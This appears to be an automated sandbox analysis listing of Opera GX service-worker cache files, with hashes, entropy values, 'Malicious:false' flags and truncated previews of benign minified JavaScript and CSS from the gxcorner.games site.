                                                                                                                                                                                                              Preview:0\r..m....../....p.\....https://gxcorner.games/assets/index-DMZ02uhD.jsconst __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/strings-arc53U-2.js","assets/index-Cl97QX7T.js","assets/App-Dh0jPV6c.js","assets/App-TFQCuALs.css"])))=>i.map(i=>d[i]);.(function(){try{var e=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},t=new Error().stack;t&&(e._sentryDebugIds=e._sentryDebugIds||{},e._sentryDebugIds[t]="f5ac690b-c8e3-47cb-97c5-3fa911f664ee",e._sentryDebugIdIdentifier="sentry-dbid-f5ac690b-c8e3-47cb-97c5-3fa911f664ee")}catch{}})();var Fo=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};Fo.SENTRY_RELEASE={id:"corner@5.34.0"};(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="mod

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\0034ba203fd62211_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):17019
                                                                                                                                                                                                              Entropy (8bit):5.622503897587081
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5F6574D0F654C318C05E7A4C6C4AB99E
                                                                                                                                                                                                              SHA1:36E3FD0CBD35AAE8A2A289AE9209AA0726F8452A
                                                                                                                                                                                                              SHA-256:46239171D4719EC9FCF362C7F45738A5795C409D4F4679C93DDC194DF3FD28B9
                                                                                                                                                                                                              SHA-512:0DE591FC586D6ED5143C79A92048A49FA3717FFF93A3725BB798289896E803D871BF6B70BCA22B019F5C1B5E536B6BCCD39D8BDA9F902BB86BEF3A5B4C3FA64F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......5...f!qF....https://gxcorner.games/assets/DailyLayout-BJyJ127i.jsimport{s as oe,k as ze,u as pe,l as Ce,m as De,n as x,o as Q,$ as Je,C as Ye}from"./index-DMZ02uhD.js";import{S as se,i as re,C as p,s as N,E as T,L as w,an as L,e as W,F as D,t as h,g as y,h as P,D as Z,G as ee,aq as te,K as ue,f as Le,I as J,M as Qe,b4 as Xe,J as Y,Y as Ze,bv as xe,O as Me,b as q,m as j,bw as $e,j as B,ar as $,aL as de,aW as We,ay as et,v as tt,bs as nt,be as it,bd as _e,b7 as lt,b6 as ot,at as ge,bx as st,by as rt,bn as ft}from"./App-Dh0jPV6c.js";import{I as at}from"./IntersectionObserver-DNzenOzn.js";import{r as me,u as ct}from"./Daily-B4nyd3Ac.js";(function(){try{var i=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(i._sentryDebugIds=i._sentryDebugIds||{},i._sentryDebugIds[e]="aa205edf-f387-438d-b6fb-26a7d7319e3f",i._sentryDebugIdIdentifier="sentry-dbid-aa205edf-f387-438d-b6fb-26a7d7319e3f")}catch{}})();function ut(i){let e,t;return{c(){e=

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\0b9a00a62bd88a1f_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1958
                                                                                                                                                                                                              Entropy (8bit):5.930654969051264
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:DB1A3AEF88B9B9FE4D5A03CD6C6422A3
                                                                                                                                                                                                              SHA1:A38291D97ED8C48FF26BD6D2B8454C26AACB7341
                                                                                                                                                                                                              SHA-256:50B3ADA2A0FCBBE907182515D61C27513AE10C8A09682A4EF7BB36F1D7D7CD12
                                                                                                                                                                                                              SHA-512:08B648790B3DF48FD9B92F745586A5A6903280075F4DAE6DABDFE7AA5689D49655FFD24E1808DC94532D7B07D76A41AB45D1B87D68F5830244D2E90AE1F63ABB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......>......U....https://gxcorner.games/assets/DailyRegularContent-DgYMxI4b.css.regular-content.svelte-8el6a{display:flex;flex-direction:column;height:100%}.post-title.svelte-8el6a{color:var(--theme-text-color);font-size:24px;font-weight:600;margin-block-start:38px}@media (max-width:1130px){.post-title.svelte-8el6a{font-size:16px;margin-block-start:24px}}.post-content.svelte-8el6a{display:flex;gap:4%}@media (max-width:1130px){.post-content.svelte-8el6a{flex-direction:column-reverse;flex-grow:1}}.text.svelte-8el6a{box-sizing:border-box;font-size:18px;line-height:28px;width:40%}@media (max-width:1130px){.text.svelte-8el6a{font-size:14px;line-height:20px;margin-top:10px;width:100%}}.cta.svelte-8el6a{display:flex;height:40px;justify-content:flex-start;--padding:4px 42px;--font-size:12px}@media (max-width:1130px){.cta.svelte-8el6a{--padding:0 36px;--font-size:10px;justify-content:flex-end;margin-top:-.5em}}.media.svelte-8el6a{box-sizing:border-box;margin-top:20px;width:60%}@media (ma

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\0e404bba902537ea_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):14564
                                                                                                                                                                                                              Entropy (8bit):5.675804148549468
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B7CC9ECDC52BC77C8DD20ECD68DE65D9
                                                                                                                                                                                                              SHA1:E3E4F431FC677E93A4CD5C4849DAA7B6BA717697
                                                                                                                                                                                                              SHA-256:C5C4D42593D4AD38AFC10403E26AD0AD1A39036016EA0FCD03E2BAC121B061C9
                                                                                                                                                                                                              SHA-512:F696246E03EE6ACE64BE0E29F682908520ECE3404140AD24786F76B4C97A6E9692311BE0ABF5CA535C2AE2ADADA645216231C1DFFFBD0295A9BA1608D47E4F8F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m............(....https://gxcorner.games/assets/Hero-CqS9XNpl.jsimport{s as be,y as me,i as te,o as le,M as ae}from"./index-DMZ02uhD.js";import{S as pe,i as he,b2 as ve,K as ie,C as U,s as y,b as j,an as ne,E as z,L as v,e as P,F as S,m as B,aa as de,t as g,I as G,g as p,J,M as $e,h as R,j as H,ay as ke,b3 as we,v as Ie,aH as x,b4 as Ce,A as Me,b5 as Le,b6 as Se,b7 as ze,ax as Te,O as Ue,az as ge,b8 as Ae,D as K,f as je,G as oe,H as _e,aM as Be}from"./App-Dh0jPV6c.js";import{T as He}from"./TempBanner-BO6TytuB.js";(function(){try{var n=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},l=new Error().stack;l&&(n._sentryDebugIds=n._sentryDebugIds||{},n._sentryDebugIds[l]="0e27cb09-dc16-42ba-aa45-8dd777c3a68a",n._sentryDebugIdIdentifier="sentry-dbid-0e27cb09-dc16-42ba-aa45-8dd777c3a68a")}catch{}})();function re(n,l,t){const e=n.slice();return e[28]=l[t].url,e[29]=l[t].label,e[9]=l[t].color,e[30]=l[t].textColor,e[31]=l[t].theme,e}function se(n){let l,t,e;return

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\1d87ef423de476a5_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):308699
                                                                                                                                                                                                              Entropy (8bit):5.329200709033645
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5C4F9E25C486FC7679D6C17DA337C40A
                                                                                                                                                                                                              SHA1:862B190B192C30C9109736BF7CA59086952290F0
                                                                                                                                                                                                              SHA-256:79939AA96E83574986553A244F399094AAEC542F3576CE19963E548B439865F1
                                                                                                                                                                                                              SHA-512:17E1973E9069A633B52136C8431FA5CF1C4348CBFD78A914A6FFAB366E202944D0198D246ADE144384BEB192B1665749235168DA0D780B609ED8E617E3F6B947
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0....4......https://gxcorner.games/assets/lottie-BEMT4Ikj.jsimport{t as getDefaultExportFromCjs,L as commonjsGlobal}from"./index-DMZ02uhD.js";(function(){try{var t=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(t._sentryDebugIds=t._sentryDebugIds||{},t._sentryDebugIds[e]="24de9ce5-1853-450f-b404-b0d0baf98edb",t._sentryDebugIdIdentifier="sentry-dbid-24de9ce5-1853-450f-b404-b0d0baf98edb")}catch{}})();var lottie$2={exports:{}};(function(module,exports){typeof navigator<"u"&&function(t,e){module.exports=e()}(commonjsGlobal,function(){var svgNS="http://www.w3.org/2000/svg",locationHref="",_useWebWorker=!1,initialDefaultFrame=-999999,setWebWorker=function(e){_useWebWorker=!!e},getWebWorker=function(){return _useWebWorker},setLocationHref=function(e){locationHref=e},getLocationHref=function(){return locationHref};function createTag(t){return document.createElement(t)}function extendPrototype(t,e){var r,i=t.length,s;for(r=0;r<i;r+=

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\1edb0b1cee5cb3aa_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):13449
                                                                                                                                                                                                              Entropy (8bit):5.483312560323614
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:AE428288056942726F7450A289FDBF8F
                                                                                                                                                                                                              SHA1:B32DB77688C319F372AACD82E5F6DCF7F096ED6A
                                                                                                                                                                                                              SHA-256:B39E53584F59DD5B36DC56568826ED91A0E02F921AA88DCCFCD7C682960AFC93
                                                                                                                                                                                                              SHA-512:824570C9BB8F15F8E9D6F5DE8D057DBE6259A02EB4A1623D78A6DA01092DA5D90EC6BC9AF6234DD5CC23795F65B174E6E92D6E03E0F84B9B68EECF87A3319BE8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0...Q,......https://gxcorner.games/assets/Daily-qyZkUkUL.css.wrapper.svelte-16noyrz{align-items:center;display:flex;flex-direction:column;gap:20px;height:100%;justify-content:center;width:100%}.icon.svelte-16noyrz{height:173px;width:91px}.text.svelte-16noyrz{color:var(--theme-text-color);line-height:28px;text-align:center}.text-primary.svelte-16noyrz{font-size:24px;font-weight:600;margin:.5em 0}.text-secondary.svelte-16noyrz{font-size:18px}.fill-bg.svelte-16noyrz{fill:hsl(var(--color-N00))}.fill-accent.svelte-16noyrz{fill:hsl(var(--color-accent))}.stroke-accent.svelte-16noyrz{stroke:hsl(var(--color-accent))}.stop-accent.svelte-16noyrz{stop-color:hsl(var(--color-accent))}.container.svelte-19kmj60{display:flex;justify-content:flex-end;position:relative}.gutter.svelte-19kmj60{background-color:hsl(var(--color-N20));border-radius:10px;cursor:pointer;height:var(--sliderHeight);position:relative}.gutter.svelte-19kmj60,.marker.svelte-19kmj60{right:0;width:6px}.marker.svelte-19kmj60

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\1f2eeca7f3e8f533_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):529063
                                                                                                                                                                                                              Entropy (8bit):5.522544802146054
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:565FD05F2DCE460DF63DBE4661DD1606
                                                                                                                                                                                                              SHA1:3F41A8CF3598738DDA2379260F09AD050AA10CCF
                                                                                                                                                                                                              SHA-256:4134F2EEE19317559FFD4FBBE961E991505EE3A19B66AE58CB36995E38F3AD92
                                                                                                                                                                                                              SHA-512:C37CABA38D377203E8BD8F64F9278994F0224BFEEC83635AB06619C99A9CC8BD627A1E4C985F8681886D750545FC7B84FC92227AA29CA487E6BA83AEF136AC4E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......-....{b.....https://gxcorner.games/assets/App-Dh0jPV6c.jsconst __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/GamesDeals-yjwFrzHB.js","assets/index-DMZ02uhD.js","assets/index-DXv66tiq.css","assets/Badges--rKIoSG1.js","assets/Badges-DROjT9oZ.css","assets/index-Cl97QX7T.js","assets/strings-arc53U-2.js","assets/GamesDeals-BptUM6bT.css","assets/Stores-BfD6zzZ4.js","assets/Stores-eu-j-VTK.css","assets/News-DEklmy-S.js","assets/news-DnkPxxHL.js","assets/News-CmoIcnGh.css","assets/Trailers-qC5SumZ8.js","assets/Trailers-hldRr6Hw.css","assets/VideoHero-k4yj-b9o.js","assets/Hero-CqS9XNpl.js","assets/TempBanner-BO6TytuB.js","assets/TempBanner-CyJ1rCg3.css","assets/Hero-BlJJlfv6.css","assets/VideoHero-CZWYrIDo.css","assets/CollectiblesHero-BDG3ngqj.js","assets/CollectiblesHero-BR6VyEvB.css","assets/Stream-UuwafmjC.js","assets/IntersectionObserver-DNzenOzn.js","assets/Toggle-BJt5m6Nb.js","assets/Toggle-BViMkCCF.css","assets/Stream-BFM17Y-P.css","assets/Banner-CwGo8f_c.js","a

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\1ffab42b5e200e70_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2163
                                                                                                                                                                                                              Entropy (8bit):5.812220469183511
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:64BF81AA94419126C0B2E7B7D8751532
                                                                                                                                                                                                              SHA1:BA3BB54B9B5C14F4A43EC7483456D9847DC330C7
                                                                                                                                                                                                              SHA-256:1E5B3350BC77292FFEF6A4D21D9C520A0EA161BA8A943CA5AC5AAC35D762BA06
                                                                                                                                                                                                              SHA-512:12D5C035A377E57ADF8ABF3A6DD5ECD3439CE05C4C07CE3BF9D17C19BD2F544E414CA61541A21EFC1124D17A83DF9BC6C532BB63CAD36FFA35CB1ED33F87F3F0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0.....`....https://gxcorner.games/assets/index-DXv66tiq.csshtml{--opera-background-color:#14111a;--opera-font-color:#fafafa;--opera-default-font-weight:400;--opera-default-font-size:13px;--scrollbar-color:#66666655;--scrollbar-hover-color:#99999988;--corner-max-width:1046px;--corner-width:var(--corner-max-width)}@media (max-width:1130px){html{--corner-width:692px}}@media (max-width:794px){html{--corner-width:515px}}body{background-color:var(--opera-background-color);color:var(--opera-font-color)}body,html{height:100%;margin:0;overflow:hidden;padding:0;scroll-behavior:smooth;width:100%}a{text-decoration:none}:global(html>div){display:none}::-moz-selection{background-color:hsl(var(--color-accent));color:hsl(var(--color-font))}::selection{background-color:hsl(var(--color-accent));color:hsl(var(--color-font))}::-webkit-scrollbar{height:12px;position:relative;width:12px;z-index:1}::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:var(--scrollbar-color);borde

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\2611fef1b329c605_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1034
                                                                                                                                                                                                              Entropy (8bit):6.2754143599196714
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:80D2AED077A6976AFB1ECB94B0D42F3F
                                                                                                                                                                                                              SHA1:E9254110A3D40023D08306BBA08ABFEAD11186F3
                                                                                                                                                                                                              SHA-256:060479E95BD05391F4D8A5D5B1F73C6911C141E67CE9E51EF78CBB98D43245E0
                                                                                                                                                                                                              SHA-512:834E1C380F3EB3E21586D99AB14A386F05C71A98B4CFECB8862C1D1AFCC36FA2B7334BC753172413D669F1792B8DC940F242F0E5A64449663DDE8920C44BC8D8
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......9..........https://gxcorner.games/assets/MarketingVideo-CAdZyt0F.css.separator.svelte-wqr9j{padding-top:calc(var(--gap) + 56px)}..A..Eo........_.=...........GET.........."...age..327484")..cache-control..public, max-age=31536000"...cf-cache-status..HIT"...cf-ray..8d1da422ed160f8f-EWR"...content-encoding..gzip"...content-type..text/css"%..date..Sun, 13 Oct 2024 07:33:23 GMT",..etag.$W/"c21fec437dc036a3fccd441442f99798""(..expires..Mon, 13 Oct 2025 07:33:23 GMT"...last-modified..Wed, 09 Oct 2024 12:35:01 GMT"...server..cloudflare"...vary..Accept-Encoding"G..via.@1.1 1461aa0cc0d6d2fb29baf25a00e64194.cloudfront.net (CloudFront)"G..x-amz-cf-id.8RlpKkjNT-ykxJ1ttg80GiXSiPMP0KLtE6Xu8xJIwv80NQT3DCDFF7g=="...x-amz-cf-pop..JFK52-P1"&..x-amz-server-side-encryption..AES256"4..x-amz-version-id. 8KH1_VquA1tjnajhiqx0UsQmqIlF9xSf"...x-cache..Miss from cloudfront0........B9https://gxcorner.games/assets/MarketingVideo-CAdZyt0F.cssP.Z.h2`.j.text/cssr.GETx.................f...."}...#.3..,.jE

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\26a96f6b24a16c34_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):14442
                                                                                                                                                                                                              Entropy (8bit):5.658394775873212
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C842E00123E238055B8262135880C8E8
                                                                                                                                                                                                              SHA1:E5BE28F11FDC898F5E7903505377DDDC2ECA4513
                                                                                                                                                                                                              SHA-256:6081AAF6D239DBA2BA5EDF266ACD883D9FE047A0BFC246A43E06E2634AC5BF5C
                                                                                                                                                                                                              SHA-512:A56D7FF794CBC216BA89FE89DB9B736F728A2CA3810DBD92165D6280BA5A1993CCDA3F70C8F29103A13886317C25EE7D869CED4A9CE0B2B7DA73B31F42FE3040
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0...j..v....https://gxcorner.games/assets/Footer-C9HhjYxy.jsimport{s as Y,k as Q,u as R,l as U,m as W,o as P,n as V}from"./index-DMZ02uhD.js";import{S as e1,i as t1,K as q,C as g,s as Z,E as f,e as C,F as _,t as h,I as s1,J as o1,g as m,h as v,am as l1,ax as r1,b,m as k,j as M,ay as n1,v as a1,az as I,an as B,aA as f1,V as L,D as O,G as X,ao as c1}from"./App-Dh0jPV6c.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";(function(){try{var l=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(l._sentryDebugIds=l._sentryDebugIds||{},l._sentryDebugIds[e]="29536b47-c763-403c-935c-b34b6299dd4f",l._sentryDebugIdIdentifier="sentry-dbid-29536b47-c763-403c-935c-b34b6299dd4f")}catch{}})();function z(l,e,s){const t=l.slice();return t[3]=e[s][0],t[4]=e[s][1],t}const i1=l=>({label:l&1,url:l&1}),J=l=>({label:l[3],url:l[4]}),u1=l=>({}),K=l=>({});function T(l){let e,s,t;const o=l[2].default,r=Q(o,l,l[1],J);return{c(){e=g("li"),r&&r.c()

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\2e3c159a9ae482b1_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8279
                                                                                                                                                                                                              Entropy (8bit):5.662225862464671
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:71FAA437A0112707103CEDBF4601F1F9
                                                                                                                                                                                                              SHA1:57E935F135E69BFAF48DC53AC408A4310378C1EC
                                                                                                                                                                                                              SHA-256:80251853EFD5AFE09F2F73B758EA2E7C42DCD3E062E0F1571A6ACBC424542FB9
                                                                                                                                                                                                              SHA-512:03C9A82EE34ABCC13FCD6D12563A18603F0F82972F6E40AF4BC0B922FAFD249755783785CCE2786324207D72F09B6062332B663F0F6345A44A4E6346A337990A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......:.........https://gxcorner.games/assets/CollectiblesHero-BDG3ngqj.jsimport{s as U,o as B,C as V,n as W,p as S,B as j,q as z,y as Y,i as A}from"./index-DMZ02uhD.js";import{S as F,i as G,aE as Z,b as $,m as k,t as m,g as d,j as h,v as y,ab as x,az as ee,C as w,E as v,e as b,h as p,al as te,s as I,D as J,F as H,I as D,J as E,G as O,aH as le,W as se,ah as R,aU as K,L as C,aV as ne,b9 as ie,aa as re}from"./App-Dh0jPV6c.js";import{B as ae}from"./Badges--rKIoSG1.js";import{H as oe}from"./Hero-CqS9XNpl.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";import"./TempBanner-BO6TytuB.js";(function(){try{var n=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},t=new Error().stack;t&&(n._sentryDebugIds=n._sentryDebugIds||{},n._sentryDebugIds[t]="40b840a2-3c03-43dc-9fd1-3037abe4c699",n._sentryDebugIdIdentifier="sentry-dbid-40b840a2-3c03-43dc-9fd1-3037abe4c699")}catch{}})();function fe(n){let t,l;return t=new ae({props:{store:n[7]}}),{c(){$(t.$$.fragmen

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\39d87554c1938c47_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7984
                                                                                                                                                                                                              Entropy (8bit):5.702621075722758
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5C17C299755C7CCB356096EA504030F8
                                                                                                                                                                                                              SHA1:7487D553D771F569654AAC5F82A862F6F5A50728
                                                                                                                                                                                                              SHA-256:32B3C76BD7FC2BC240F06FF1B75F495EEF41EF1F0F90E8FACF2421B1B42078E3
                                                                                                                                                                                                              SHA-512:72C03DA5B3E41247B70E1F907624C3B350A23BDE1A6692162942D1B87D91E6FCF98CDB49E8574616B93690C719F5F9B964FBCCC263A4A9BC1C8B6AC20DD6DF25
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......6......*....https://gxcorner.games/assets/DailyLayout-RV9KTJyg.css.layout.svelte-cg4n51{box-sizing:border-box;display:flex;flex-direction:column;height:668px;padding:0 7% 0 0;position:relative;width:100%}@media (max-width:1130px){.layout.svelte-cg4n51{height:575px;padding:0 10% 0 0}}@media (max-width:794px){.layout.svelte-cg4n51{height:495px;padding:0 4% 0 2%}}.background.svelte-cg4n51{background-position:50%;background-repeat:no-repeat;height:100%;left:0;position:absolute;top:0;width:100%;z-index:-1}.background-image.svelte-cg4n51{background-image:var(--background-image);-webkit-mask-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' width='776' height='531' fill='none' viewBox='0 0 776 531'%3E%3Cpath fill='url(%23a)' d='M.883.365H775.12v530H.883z'/%3E%3Cdefs%3E%3CradialGradient id='a' cx='0' cy='0' r='1' gradientTransform='matrix(0 267.772 -367.947 0 383.756 273.333)' gradientUnits='userSpaceOnUse'%3E%3Cstop stop-color='%23D9D9D9'/%3E%3C

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\3ba910570ece6693_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):19203
                                                                                                                                                                                                              Entropy (8bit):6.014896715876877
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6CC500FD44B76A9584B4150402A63F76
                                                                                                                                                                                                              SHA1:8B4AF33DA980E19BFC03F9B7A1AEDDA774B33C79
                                                                                                                                                                                                              SHA-256:994050181AE34DDA107E30E397539A8B429D80966B3EBF9D55428168645FE1FB
                                                                                                                                                                                                              SHA-512:A52A6D9A6FB2FAF01E76F6F27824F65CAE45959C01DFC2DE315E407C00A1361C421E838587A9E38BE4F6E76F4C2B6AD2EBDB57A3540C97482355FA1A1F1B0BF0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
